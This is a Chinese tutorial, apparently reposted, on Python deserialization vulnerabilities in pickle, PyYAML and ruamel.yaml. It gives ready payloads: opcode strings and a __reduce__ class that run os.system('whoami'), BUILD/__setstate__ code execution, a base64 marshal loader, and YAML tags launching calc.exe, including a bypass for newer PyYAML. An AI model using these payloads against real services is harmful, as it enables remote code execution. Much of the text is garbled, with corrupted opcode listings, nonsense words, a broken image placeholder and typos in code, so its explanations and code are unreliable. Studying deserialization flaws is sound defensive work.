Python序列化和反序列化,python中序列化和反序列化

  Python序列化和反序列化,python中序列化和反序列化

  本文已经给大家带来了python的一些知识,主要介绍了一些与反序列化相关的问题,即反序列化:pickle.loads()将一个字符串反序列化为一个对象,pickle.load()从文件中读取数据。希望对你有帮助。

  推荐:python教程

  00-1010

Python反序列化漏洞

序列化:pickle.dump()将对象序列化为字符串,pickle.dump()将序列化后的字符串存储为文件反序列化:pickle.loads()将字符串反序列化为对象,pickle.load()从文件中读取数据使用dumps()和loads()时反序列化

  协议有0、1、2、3、4、5版本,不同的python版本有不同的默认协议版本。在这几个版本中,0号可读性最强,之后的版本都加入了不可打印字符进行优化。

  协议来自向后兼容,0版也可以直接使用。

  

Pickle

None、真假整数、浮点数、复数str、byte、bytearray只包含一组可密封对象,包括定义在模块最外层的tuple、list、set、dict函数(用def定义,Lambda函数不能。)模块最外层定义的内置函数定义了模块最外层的class __dict__属性值或者__getstate__()函数返回值可以序列化的类(详见官方文档Pickling Class Instances)。

可序列化的对象

pickle.load()和pickle.loads()方法的底层实现基于_ unpicker()

  在反序列化的过程中,_Unpickler(以下简称机巴)维护了两个东西:堆栈区和存储区。

  为了研究它,我们需要使用调试器pickletools。

  【外链图片传输失败,源站可能有防盗链机制,建议保存图片直接上传(IMG-wudq 6 e 9 e-1642832623478)(c : \ users \ administrator \ appdata \ roaming \ typ ora \ typ ora-user-images \ image-2010)

  从图中可以看出,序列化后的字符串实际上是一串PVM(Pickle Virtual Machine,Pickle虚拟机)指令代码,以栈的形式存储和解析。

  00-1010完整PVM指令集可在pickletools.py查看,不同协议版本使用的指令集略有不同。

  上图中的脚本可以翻译成:

  03360协议3 #协议版本

  2:] EMPTY_LIST #将空列表压入堆栈

  3: (MARK #将标志推入堆栈

  :x bin Unicode a #个Unicode字符

  10: X BINUNICODE b

  16: X BINUNICODE c

  2:e追加(在3处标记)#将3号标准之后的数据推入列表

  23:STOP #弹出堆栈中的数据,结束

  操作码=2指令集中的最高协议中有几个重要的脚本:

  GLOBAL=bc #推送两个以换行符结尾的字符串,第一个是模块名,第二个是类名,即全局变量xxx.xxx的值可以调用REDUCE=bR #将可调用元组和参数元组生成的对象推送到堆栈上,即__reduce()返回的第一个值作为可执行函数,第二个值作为参数,执行函数BUILD=bb #通过__setstate__或更新__dict__完成对象的构建。如果对象有__setstate__方法,则调用anyobject。__setstate__(请参见

  数);如果无__setstate__方法,则通过anyobject.__dict__.update(argument)更新值(更新可能会产生变量覆盖)

  • STOP = b’.’ # 结束
  • 一个更复杂的例子:

      

    import pickleimport pickletoolsclass a_class():

       def __init__(self):

       self.age = 24

       self.status = 'student'

       self.list = ['a', 'b', 'c']a_class_new = a_class()a_class_pickle = pickle.dumps(a_class_new,protocol=3)print(a_class_pickle)# 优化一个已经被打包的字符串a_list_pickle = pickletools.optimize(a_class_pickle)print(a_class_pickle)# 反汇编一个已经被打包的字符串pickletools.dis(a_class_pickle)

     0: \x80 PROTO 3

       2: c GLOBAL '__main__ a_class'

       20: ) EMPTY_TUPLE # 将空元组推入栈

       21: \x81 NEWOBJ # 表示前面的栈的内容为一个类(__main__ a_class),之后为一个元组(20行推入的元组),调用cls.__new__(cls, *args)(即用元组中的参数创建一个实例,这里元组实际为空)

       22: } EMPTY_DICT # 将空字典推入栈

       23: ( MARK

       24: X BINUNICODE 'age'

       32: K BININT1 24

       34: X BINUNICODE 'status'

       45: X BINUNICODE 'student'

       57: X BINUNICODE 'list'

       66: ] EMPTY_LIST

       67: ( MARK

       68: X BINUNICODE 'a'

       74: X BINUNICODE 'b'

       80: X BINUNICODE 'c'

       86: e APPENDS (MARK at 67)

       87: u SETITEMS (MARK at 23) # 将将从23行开始传入的值以键值对添加到现有字典中

       88: b BUILD # 更新字典完成构建

       89: . STOP

      highest protocol among opcodes = 2

    常见的函数执行

    与函数执行相关的 PVM 指令集有三个: Rio ,所以我们可以从三个方向进行构造:

      R

      

    b'''cos

      system

      (S'whoami'

      tR.'''

    i

      

    b'''(S'whoami'

      ios

      system

      .'''

    o

      

    b'''(cos

      system

      S'whoami'

      o.'''

    __reduce()__命令执行

    __recude()__ 魔法函数会在反序列化过程结束时自动调用,并返回一个元组。其中,第一个元素是一个可调用对象,在创建该对象的最初版本时调用,第二个元素是可调用对象的参数,使得反序列化时可能造成RCE漏洞

      

    触发 __reduce()_ 的指令码为``R,**只要在序列化中的字符串中存在R指令**,reduce方法就会被执行,无论正常程序中是否写明了reduce`方法

      pickle 在反序列化时会自动 import 未引入的模块,所以 python 标准库中的所有代码执行、命令执行函数都可使用,但生成 payload 的 python 版本最好与目标一致

      

    例:

      

    class a_class():

       def __reduce__(self):

       return os.system, ('whoami',)# __reduce__()魔法方法的返回值:# os.system, ('whoami',)# 1.满足返回一个元组,元组中至少有两个参数# 2.第一个参数是被调用函数 : os.system()# 3.第二个参数是一个元组:('whoami',),元组中被调用的参数 'whoami' 为被调用函数的参数# 4. 因此序列化时被解析执行的代码是 os.system('whoami')

    b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'

      b'\x80\x03cnt\nsystem\nX\x06\x00\x00\x00whoami\x85R.'

       0: \x80 PROTO 3

       2: c GLOBAL 'nt system'

       13: X BINUNICODE 'whoami'

       24: \x85 TUPLE1

       25: R REDUCE

       26: . STOP

      highest protocol among opcodes = 2

    将该字符串反序列化后将会执行命令 os.system('whoami')

      

    全局变量覆盖

    __reduce()_利用的是 R 指令码,造成REC,而利用 GLOBAL = b’c’ 指令码则可以触发全局变量覆盖

      

    # secret.pya = aaaaaa
    # unser.pyimport secretimport pickleclass flag():

       def __init__(self, a):

       self.a = a

      your_payload = b'?'other_flag = pickle.loads(your_payload)secret_flag = flag(secret)if other_flag.a == secret_flag.a:

       print('flag:{}'.format(secret_flag.a))else:

       print('No!')

    在不知道 secret.a 的情况下要如何获得 flag 呢?

      先尝试获得 flag() 的序列化字符串:

      

    class flag():

       def __init__(self, a):

       self.a = a

      new_flag = pickle.dumps(Flag("A"), protocol=3)flag = pickletools.optimize(new_flag)print(flag)print(pickletools.dis(new_flag))

    b'\x80\x03c__main__\nFlag\n)\x81}X\x01\x00\x00\x00aX\x01\x00\x00\x00Asb.'

       0: \x80 PROTO 3

       2: c GLOBAL '__main__ Flag'

       17: q BINPUT 0

       19: ) EMPTY_TUPLE

       20: \x81 NEWOBJ

       21: q BINPUT 1

       23: } EMPTY_DICT

       24: q BINPUT 2

       26: X BINUNICODE 'a'

       32: q BINPUT 3

       34: X BINUNICODE 'A'

       40: q BINPUT 4

       42: s SETITEM

       43: b BUILD

       44: . STOP

      highest protocol among opcodes = 2

    可以看到,在34行进行了传参,将变量 A 传入赋值给了a。若将 A 修改为全局变量 secret.a,即将 X BINUNICODE 'A' 改为 c GLOBAL 'secret a'(X\x01\x00\x00\x00A 改为 csecret\na\n)。将该字符串反序列化后,self.a 的值等于 secret.a 的值,成功获取 flag

      

    除了改写 PVM 指令的方式外,还可以使用 exec 函数造成变量覆盖:

      

    test1 = 'test1'test2 = 'test2'class A:

       def __reduce(self):

       retutn exec, "test1='asd'\ntest2='qwe'"

    利用BUILD指令RCE(不使用R指令)

    通过BUILD指令与GLOBAL指令的结合,可以把现有类改写为os.system或其他函数

      假设某个类原先没有__setstate__方法,我们可以利用{'__setstate__': os.system}来BUILE这个对象

      BUILD指令执行时,因为没有__setstate__方法,所以就执行update,这个对象的__setstate__方法就改为了我们指定的os.system

      接下来利用'whoami'来再次BUILD这个对象,则会执行setstate('whoami'),而此时__setstate__已经被我们设置为os.system,因此实现了RCE

      例:

      代码中存在一个任意类:

      

    class payload:

       def __init__(self):

       pass

    根据这个类构造 PVM 指令:

      

     0: \x80 PROTO 3

       2: c GLOBAL '__main__ payload'

       17: q BINPUT 0

       19: ) EMPTY_TUPLE

       20: \x81 NEWOBJ

       21: } EMPTY_DICT # 使用BUILD,先放入一个字典

       22: ( MARK # 放值前先放一个标志

       23: V UNICODE '__setstate__' # 放键值对

       37: c GLOBAL 'nt system'

       48: u SETITEMS (MARK at 22)

       49: b BUILD # 第一次BUILD

       50: V UNICODE 'whoami' # 加参数

       58: b BUILD # 第二次BUILD

       59: . STOP

    将上述 PVM 指令改写成 bytes 形式:b'\x80\x03c__main__\npayload\n)\x81}(V__setstate__\ncnt\nsystem\nubVwhoami\nb.',使用 piclke.loads() 反序列化后成功执行命令

      

    利用Marshal模块造成任意函数执行

    pickle 不能将代码对象序列化,但 python 提供了一个可以序列化代码对象的模块 Marshal

      但是序列化的代码对象不再能使用 __reduce()_ 调用,因为__reduce__是利用调用某个可调用对象并传递参数来执行的,而我们这个函数本身就是一个可调用对象 ,我们需要执行它,而不是将他作为某个函数的参数。隐藏需要利用 typres 模块来动态的创建匿名函数

      

    import marshalimport typesdef code():

       import os print('hello')

       os.system('whoami')code_pickle = base64.b64encode(marshal.dumps(code.__code__)) # python2为 code.func_codetypes.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')() # 利用types动态创建匿名函数并执行

    pickle 上使用:

      

    import pickle# 将types.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')()改写为 PVM 的形式s = b"""ctypes

      FunctionType

      (cmarshal

      loads

      (cbase64

      b64decode

      (S'4wAAAAAAAAAAAAAAAAEAAAADAAAAQwAAAHMeAAAAZAFkAGwAfQB0AWQCgwEBAHwAoAJkA6EBAQBkAFMAKQRO6QAAAADaBWhlbGxv2gZ3aG9hbWkpA9oCb3PaBXByaW502gZzeXN0ZW0pAXIEAAAAqQByBwAAAPogRDovUHl0aG9uL1Byb2plY3QvdW5zZXJpYWxpemUucHnaBGNvZGUlAAAAcwYAAAAAAQgBCAE='

      tRtRc__builtin__

      globals

      (tRS''

      tR(tR."""pickle.loads(s) # 字符串转换为 bytes

    漏洞出现位置

    • 解析认证 token、session 时
    • 将对象 pickle 后存储在磁盘文件
    • 将对象 pickle 后在网络中传输
    • 参数传递给程序

    PyYAML

    yaml 是一种标记类语言,类似与 xmljson,各个支持yaml格式的语言都会有自己的实现来进行 yaml 格式的解析(读取和保存),PyYAML 就是 yaml 的 python 实现

      在使用 PyYAML 库时,若使用了 yaml.load() 而不是 yaml.safe_load() 函数解析 yaml文件,则会导致反序列化漏洞的产生

      

    原理

    PyYAML 有针对 python 语言特有的标签解析的处理函数对应列表,其中有三个和对象相关:

      

    !!python/object: => Constructor.construct_python_object!!python/object/apply: => Constructor.construct_python_object_apply!!python/object/new: => Constructor.construct_python_object_new
    例如:

      

    # Test.pyimport yamlimport osclass test:

       def __init__(self):

       os.system('whoami')payload = yaml.dump(test())fp = open('sample.yml', 'w')fp.write(payload)fp.close()

    该代码执行后,会生成 sample.yml ,并写入 !!python/object:__main__.test {}

      将文件内容改为 !!python/object:Test.test {} 再使用 yaml.load() 解析该 yaml 文件:

      

    import yaml

      yaml.load(file('sample.yml', 'w'))

      命令成功执行。但是命令的执行依赖于 Test.py 的存在,因为 yaml.load() 时会根据yml文件中的指引去读取 Test.py 中的 test 这个对象(类)。如果删除 Test.py ,也将运行失败

      

    Payload

    PyYAML < 5.1

    想要消除依赖执行命令,就需要将其中的类或者函数换成 python 标准库中的类或函数,并使用另外两种 python 标签:

      

    # 该标签可以在 PyYAML 解析再入 YAML 数据时,动态的创建 Python 对象!!python/object/apply: => Constructor.construct_python_object_apply# 该标签会调用 apply!!python/object/new: => Constructor.construct_python_object_new
    利用这两个标签,就可以构造任意 payload:

      

    !!python/object/apply:subprocess.check_output [[calc.exe]]!!python/object/apply:subprocess.check_output ["calc.exe"]!!python/object/apply:subprocess.check_output [["calc.exe"]]!!python/object/apply:os.system ["calc.exe"]!!python/object/new:subprocess.check_output [["calc.exe"]]!!python/object/new:os.system ["calc.exe"]

    PyYAML >= 5.1

    在版本 PyYAML >= 5.1 后,限制了反序列化内置类方法以及导入并使用不存在的反序列化代码,并且在使用 load() 方法时,需要加上 loader 参数,直接使用时会爆出安全警告

      

    loader的四种类型:

      

    • BaseLoader:仅加载最基本的YAML
    • SafeLoader:安全地加载YAML语言的子集,建议用于加载不受信任的输入(safe_load)
    • FullLoader:加载完整的YAML语言,避免任意代码执行,这是当前(PyYAML 5.1)默认加载器调用yaml.load(input) (出警告后)(full_load)
    • UnsafeLoader(也称为Loader向后兼容性):原始的Loader代码,可以通过不受信任的数据输入轻松利用(unsafe_load)
    在高版本中之前的 payload 已经失效,但可以使用 subporcess.getoutput() 方法绕过检测:

      

    !!python/object/apply:subprocess.getoutput

      - whoami

      在最新版本上,命令执行成功

      

    ruamel.yaml

    ruamel.yaml的用法和PyYAML基本一样,并且默认支持更新的YAML1.2版本

      在ruamel.yaml中反序列化带参数的序列化类方法,有以下方法:

      

    • load(data)
    • load(data, Loader=Loader)
    • load(data, Loader=UnsafeLoader)
    • load(data, Loader=FullLoader)
    • load_all(data)
    • load_all(data, Loader=Loader)
    • load_all(data, Loader=UnSafeLoader)
    • load_all(data, Loader=FullLoader)
    我们可以使用上述任何方法,甚至我们也可以通过提供数据来反序列化来直接调用load(),它将完美地反序列化它,并且我们的类方法将被执行

      推荐学习:python学习教程以上就是带你搞懂Python反序列化的详细内容,更多请关注盛行IT软件开发工作室其它相关文章!

      

    郑重声明:本文由网友发布,不代表盛行IT的观点,版权归原作者所有,仅为传播更多信息之目的,如有侵权请联系,我们将第一时间修改或删除,多谢。

    留言与评论(共有 条评论)
       
    验证码: